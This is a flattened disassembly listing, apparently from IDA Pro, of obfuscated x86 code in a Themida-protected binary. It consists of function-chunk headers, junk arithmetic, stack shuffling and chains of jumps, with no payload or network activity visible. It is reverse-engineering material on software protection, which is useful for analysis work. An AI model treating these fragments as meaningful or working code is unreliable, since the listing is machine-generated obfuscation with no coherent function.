; FUNCTION CHUNK AT 0056059D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560C91 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00562174 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00563A18 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005644B6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564595 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005645E7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00564F2B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568AF8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00568BC9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568DBD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005691F5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005693EC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00569D08 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A0C4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B50D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056C29E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056CE5C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E7D7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056E831 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056EB7E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F55A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057012F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005704B4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00570C54 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005719C1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572970 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00574481 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057457B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0057477E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005751EA SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00575455 SIZE 00000010 BYTES push ebx mov bl, 45h xor bl, 6Ah add dl, bl jmp loc_563A18 sub_56AEF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56AEFF: ; CODE XREF: sub_56616D+9FE1j pop edi sub edi, 60807FADh push edi push 6763h mov [esp-0Ch+arg_8], ebx jmp loc_56F823 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56AF14: ; CODE XREF: sub_569FB8+3BC1j add edi, 4 add edi, 4 xchg edi, [esp+12h+var_12] jmp loc_570B11 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_56AF28: ; CODE XREF: sub_573876+1j mov ebx, 147E6C73h jmp loc_561435 ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56AF32: ; CODE XREF: sub_56616D+Ej add ebx, 482B564Bh sub esi, ebx jmp loc_567A8B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56AF3F: ; CODE XREF: sub_56C83E+5D2Bj add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_560937 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_56AF52: ; CODE XREF: sub_56E0B0+2D16j pop edx push eax jmp loc_575284 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_56AF59: ; CODE XREF: sub_572E16-11DFEj mov ebx, esi mov esi, [esp+4+var_4] jmp loc_569A2C ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_56AF63: ; CODE XREF: sub_574AF3-BF37j pop [esp+8+var_8] jmp loc_5621C0 ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56AF6B: ; CODE XREF: sub_571890-12ECj sub ecx, 10354733h jmp loc_568BDC ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56AF76: ; CODE XREF: sub_57354D-8E4Cj add ebx, eax pop eax push ebx jmp loc_56B137 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564B0B loc_56AF7F: ; CODE XREF: sub_564B0B+96E0j mov ebp, 487E348Fh xor ecx, ebp pop ebp sub ecx, 0E4D8C6B5h push edx mov edx, 5C1A4681h not edx sub edx, 6DCA3B62h jmp sub_56FAE2 ; END OF FUNCTION CHUNK FOR sub_564B0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56AFA0: ; CODE XREF: sub_5678CB-4826j or cl, 39h shl cl, 1 add cl, 1Bh or dl, cl pop ecx push ecx mov ch, 81h shl ch, 1 jmp loc_5606E9 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56AFB5: ; CODE XREF: sub_569193-5ACCj mov ebx, [esp+8+var_8] push 34BAh mov [esp+0Ch+var_C], esi push esp pop esi add esi, 4 push eax mov eax, 4 add esi, eax jmp loc_560609 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574B8A loc_56AFD5: ; CODE XREF: sub_574B8A+Fj pop esp xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] mov word ptr [esp-6+arg_0+2], cx movzx cx, al push cx pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574B8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56AFF2: ; CODE XREF: sub_5687A3-4D3Aj add esi, 520F92ABh add ebp, esi pop esi mov ecx, [esp+8+var_8] add esp, 4 jmp loc_567C76 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56B006: ; CODE XREF: sub_56B06D-5059j mov esi, [esp+18h+var_18] add esp, 4 sub ecx, 64EF5701h jmp loc_56DC27 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680F2 loc_56B01A: ; CODE XREF: sub_5680F2+6CECj mov ecx, 7C307C5Ah add ebx, ecx pop ecx jmp sub_568D93 ; END OF FUNCTION CHUNK FOR sub_5680F2 ; --------------------------------------------------------------------------- loc_56B027: ; CODE XREF: Themida_:0056E4C2j xor eax, 25EE6378h add eax, 49195742h push edx mov edx, 0A44A5D2Dh jmp loc_5646C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C474 loc_56B03C: ; CODE XREF: sub_56C474+2CCAj xchg ebx, [esp+8+var_8] pop esp push ebp mov ebp, esp jmp sub_56102D ; END OF FUNCTION CHUNK FOR sub_56C474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56B048: ; CODE XREF: sub_56616D+4C4Cj pop esp push edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], edx mov edx, esp add edx, 4 jmp loc_57504A ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_56B06D proc near ; DATA XREF: Themida_:0055FD84o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005619BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005637E5 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00563917 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00564185 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005644AA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564DFB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00565000 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565954 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00565C80 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00566002 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005661E6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005667AC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005669B2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00566E80 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056799F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568E4D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00568F46 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569503 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00569C7B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569D2F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B006 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B377 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D606 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056D6DD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056DC27 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056DCBE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056E241 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0056EBE0 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0056F39E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056F629 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057039C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057114E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005728AA SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00572B8E SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00572D83 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005737B9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573CE5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00574A50 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00575188 SIZE 00000015 BYTES push dword ptr [edi+38h] push ecx jmp loc_5637E5 sub_56B06D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_56B076: ; CODE XREF: sub_570C6A-44EAj xchg edi, [esp+8+var_8] mov esp, [esp+8+var_8] sub esp, 4 mov [esp+0], esi push 4 pop esi add ebp, esi pop esi sub esp, 4 mov [esp+0], edi mov edi, 2 sub ebp, 50B6274Ch add ebp, edi push esi jmp loc_56C817 ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56B0AA: ; CODE XREF: sub_5673C3+8DE7j xchg eax, ebx xor eax, 54423624h jmp loc_56C2FB ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572805 loc_56B0B5: ; CODE XREF: sub_572805-2652j mov al, 0ADh mov bl, al pop eax xor bl, dl pop edx sub al, bl pop bx jmp sub_569D5F ; END OF FUNCTION CHUNK FOR sub_572805 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56B0C6: ; CODE XREF: sub_5605BC+6F5Bj xor edx, [esp+24h+var_24] mov esp, [esp+24h+var_24] push ecx mov ecx, esp jmp loc_56D012 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_56B0D4: ; CODE XREF: sub_57109F+2DB4j pop esi jmp loc_5720EF ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- loc_56B0DA: ; CODE XREF: Themida_:00562B31j xor ecx, 0E898E16h sub ebx, ecx jmp loc_56C7CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56B0E7: ; CODE XREF: sub_5620B7+E72Cj sub edx, 70FA7D16h sub edx, 5556833Ah push esi mov esi, 433C4466h jmp loc_5669EA ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56B0FE: ; CODE XREF: sub_56D464+63D7j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_C] jmp loc_56D447 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_56B111: ; CODE XREF: sub_564CDA+9F66j mov eax, 681E6541h jmp loc_5604E7 ; END OF FUNCTION CHUNK FOR sub_564CDA ; =============== S U B R O U T I N E ======================================= sub_56B11B proc near ; CODE XREF: sub_564CDA-149Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561F4A SIZE 00000052 BYTES ; FUNCTION CHUNK AT 00562663 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00563012 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056403B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056424E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564F91 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005670B8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00568956 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568EA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00569E4B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A496 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056AB28 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056B41D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B443 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056E34E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E957 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E9B7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570FDA SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057157C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00573D07 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp push edx mov edx, 4 sub ecx, 348F715Dh jmp loc_573D07 sub_56B11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56B137: ; CODE XREF: sub_57354D-85D3j push [esp+8+var_4] mov ebx, [esp+0Ch+var_C] jmp loc_571C10 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_56B143: ; CODE XREF: sub_560056+12938j pop esp push eax mov eax, edx mov edi, eax pop eax push [esp+0Ch+var_C] jmp loc_56E982 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_56B152: ; CODE XREF: sub_56BC97-3346j sub eax, 4 xchg eax, [esp+4+var_4] jmp loc_562143 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- loc_56B15F: ; CODE XREF: Themida_:0056D23Fj mov [esp], esi mov esi, 6F205B84h xor esi, 6894BDCh mov eax, esi pop esi sub ecx, 11CF052Ah add ecx, 4132736Eh add ecx, eax jmp loc_574231 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_56B183: ; CODE XREF: sub_56F782-4ACFj add esp, 4 add esp, 4 push ebp mov ebp, 0AF15B2Bh jmp loc_564C26 ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- loc_56B194: ; CODE XREF: Themida_:005711D1j mov edx, [esp] jmp loc_563D71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56B19C: ; CODE XREF: sub_571088-7885j sub edi, 13002936h add edi, 34ED6A1Dh jmp loc_56F318 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_56B1AD: ; CODE XREF: sub_56FCD7-4607j push [esp+8+var_8] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+10h+var_C] pop ebx jmp loc_56524E ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56B1C8: ; CODE XREF: sub_5678CB+B34Dj sub ch, 0A1h add ch, ah add ch, 0A1h jmp loc_5668F4 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56B1D5: ; CODE XREF: sub_57354D-10701j mov esi, esp jmp loc_566CB5 ; END OF FUNCTION CHUNK FOR sub_57354D ; =============== S U B R O U T I N E ======================================= sub_56B1DC proc near ; DATA XREF: Themida_:0055FF50o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056033F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00560F03 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00560F33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561F1F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566A2E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00566A41 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00566A5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566EFE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568041 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005682A8 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056883D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005693A1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D482 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056F143 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056FC3E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005700D0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0057317E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005731E2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00573642 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005754A2 SIZE 0000000B BYTES mov ecx, [esp+0] jmp loc_566A2E sub_56B1DC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561979 loc_56B1E4: ; CODE XREF: sub_561979+AFF7j mov eax, 0F7C6D91h sub eax, 724148BCh jmp loc_563160 ; END OF FUNCTION CHUNK FOR sub_561979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56B1F3: ; CODE XREF: sub_574304-F844j mov [esp+8+var_8], edx pop eax mov edx, [esp+4+var_4] jmp loc_572F17 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56B1FF: ; CODE XREF: sub_5734A7-438Ej push esp pop edi jmp loc_566BB0 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_56B206: ; CODE XREF: sub_572141-EDBEj sub ebp, 1B3F0333h jmp loc_569D35 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_56B211: ; CODE XREF: sub_567CFE+BAFEj mov ecx, 4B8E0F9Ch jmp loc_5604BE ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56B21B: ; CODE XREF: sub_574656-AF19j add esp, 4 push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_574A19 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_56B235: ; CODE XREF: sub_573876-1241Bj shl edi, 2 push esi mov esi, 0FDE63C5h or edi, esi mov esi, [esp+8+var_8] add esp, 4 sub edi, 82053516h push esi mov esi, edi push eax mov eax, esi push eax pop ebx pop eax pop esi jmp loc_564D09 ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56B25B: ; CODE XREF: sub_574656-130DCj push 3EF1h mov [esp+4+var_4], edi push ebx jmp loc_573A16 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56B269: ; CODE XREF: sub_571C93-7170j pop esp push 3487h mov [esp+4+var_4], edi mov edi, 38134BBFh add edi, 0FFFFFFFFh or edi, 4D0438B1h push 31B7h mov [esp+8+var_8], ecx push eax mov eax, 630F5783h jmp loc_56B49F ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56B296: ; CODE XREF: sub_564D26-28DDj xor ebx, [esp+0Ch+var_C] pop esp sub esp, 4 mov [esp+0Ch+var_C], edx push edi push edx push ecx push 1BEB313Ah jmp loc_56FE17 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_56B2AD: ; CODE XREF: sub_56189F+Ej push edx push ebx jmp loc_5703A8 ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_56B2B4: ; CODE XREF: sub_56264C-B48j add eax, 24217B3Ch sub eax, 3A4F20D0h push ebx jmp loc_56E92D ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56B2C4: ; CODE XREF: sub_56FA15+2E71j push 6357h mov [esp+8+var_8], ebx push edx push 488Ah mov [esp+10h+var_10], ecx jmp loc_56754C ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56B2DA: ; CODE XREF: sub_567B29+692Fj shl esi, 7 or esi, 309E2B92h or esi, 63B0300Eh add esi, 2A2E391Ch add ebx, 2D166BBEh jmp loc_5722BB ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56513E loc_56B2FA: ; CODE XREF: sub_56513E+2393j mov ebx, 1593FF1h push ebx pop esi pop ebx jmp loc_562890 ; END OF FUNCTION CHUNK FOR sub_56513E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E27 loc_56B307: ; CODE XREF: sub_570E27+Cj xchg ebx, [esp+4+var_4] pop esp jmp loc_56AC29 ; END OF FUNCTION CHUNK FOR sub_570E27 ; =============== S U B R O U T I N E ======================================= sub_56B310 proc near ; CODE XREF: sub_564B5A+406Aj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 00566E06 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00567AD4 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00574CA8 SIZE 00000016 BYTES push ebp push 75555ED6h mov ebp, [esp+4+var_4] add esp, 4 and ebp, 4BC74DF2h jmp loc_574CA8 sub_56B310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_56B32A: ; CODE XREF: sub_5681F5+Cj mov ebx, esi mov esi, [esp+8+var_8] push edx push esp jmp loc_56D777 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56B336: ; CODE XREF: sub_5685B2-6AF7j sub ebx, 1C927940h jmp loc_56C015 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564746 loc_56B341: ; CODE XREF: sub_564746+79D2j push eax mov ah, 31h or ah, 49h jmp loc_56FAA0 ; END OF FUNCTION CHUNK FOR sub_564746 ; --------------------------------------------------------------------------- loc_56B34C: ; CODE XREF: Themida_:0056D547j xor ebx, 7FF756FBh sub eax, 70BE709Eh sub eax, 50F258F1h add eax, 36767FB3h add eax, ebx sub eax, 36767FB3h add eax, 50F258F1h add eax, 70BE709Eh jmp loc_567318 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56B377: ; CODE XREF: sub_56B06D-46A4j mov [esp+14h+var_14], ecx jmp loc_575188 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- loc_56B37F: ; CODE XREF: Themida_:0056996Aj sub edx, 68A02869h add edx, 4FBE35B9h add edx, 0B7EE6BBAh sub ecx, edx pop edx add edi, ecx pop ecx sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_56FCAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_56B3AA: ; CODE XREF: sub_56FD97-F4C2j xchg edi, [esp+8+var_8] pop esp push ebp push edx pop ebp jmp loc_565A07 ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56331C loc_56B3B6: ; CODE XREF: sub_56331C-289Dj add esp, 4 push ecx mov ecx, 652374FEh neg ecx sub ecx, 22655B92h add eax, ecx pop ecx sub eax, 0BF91C3Ch sub eax, 28350427h add eax, edx add eax, 28350427h jmp sub_5681F5 ; END OF FUNCTION CHUNK FOR sub_56331C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56B3E0: ; CODE XREF: sub_574304-EBA8j shr eax, 0Eh xor eax, ecx push 419Dh jmp loc_5654CE ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_56B3EF: ; CODE XREF: sub_574DC1-C8CAj xor ebp, [esp+0Ch+var_C] pop esp add eax, 11A44048h jmp loc_5658EC ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_56B3FD: ; CODE XREF: sub_566C83+3AE6j sub ebx, 148E4187h push esi push eax jmp loc_568AD9 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56B40A: ; CODE XREF: sub_56CD13+Aj add esp, 4 push eax jmp loc_56629C ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- loc_56B416: ; CODE XREF: Themida_:0056189Aj neg esi jmp loc_5709CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56B41D: ; CODE XREF: sub_56B11B-C6Bj push [esp+4+var_4] pop eax sub esp, 4 jmp loc_570FDA ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56B429: ; CODE XREF: sub_57354D-2B5Cj sub ebx, 38164261h inc ebx push esi mov esi, 12CC4A09h add ebx, esi mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_5708E9 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56B443: ; CODE XREF: sub_56B11B-8AB1j xor ebx, [esp+4+var_4] pop esp push 4380h mov [esp+4+var_4], ecx push 6A49h mov [esp+8+var_8], eax push esi mov esi, 62604585h push 0 sub [esp+10h+var_10], 3D1274E9h jmp loc_564F91 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56B46E: ; CODE XREF: sub_570732-F266j push 1 push [esp+8+var_8] mov ebp, [esp+0Ch+var_C] add esp, 4 push edi mov edi, esp push esi mov esi, 4 sub edi, 5FCB59FAh add edi, esi add edi, 5FCB59FAh pop esi sub esp, 4 jmp loc_56FC70 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56B49F: ; CODE XREF: sub_571C93-6A02j mov ecx, 1138295Fh inc ecx jmp loc_56F0A3 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56B4AA: ; CODE XREF: sub_5643EB+7BADj pop ebx add esp, 4 jmp loc_56A89D ; END OF FUNCTION CHUNK FOR sub_5643EB ; 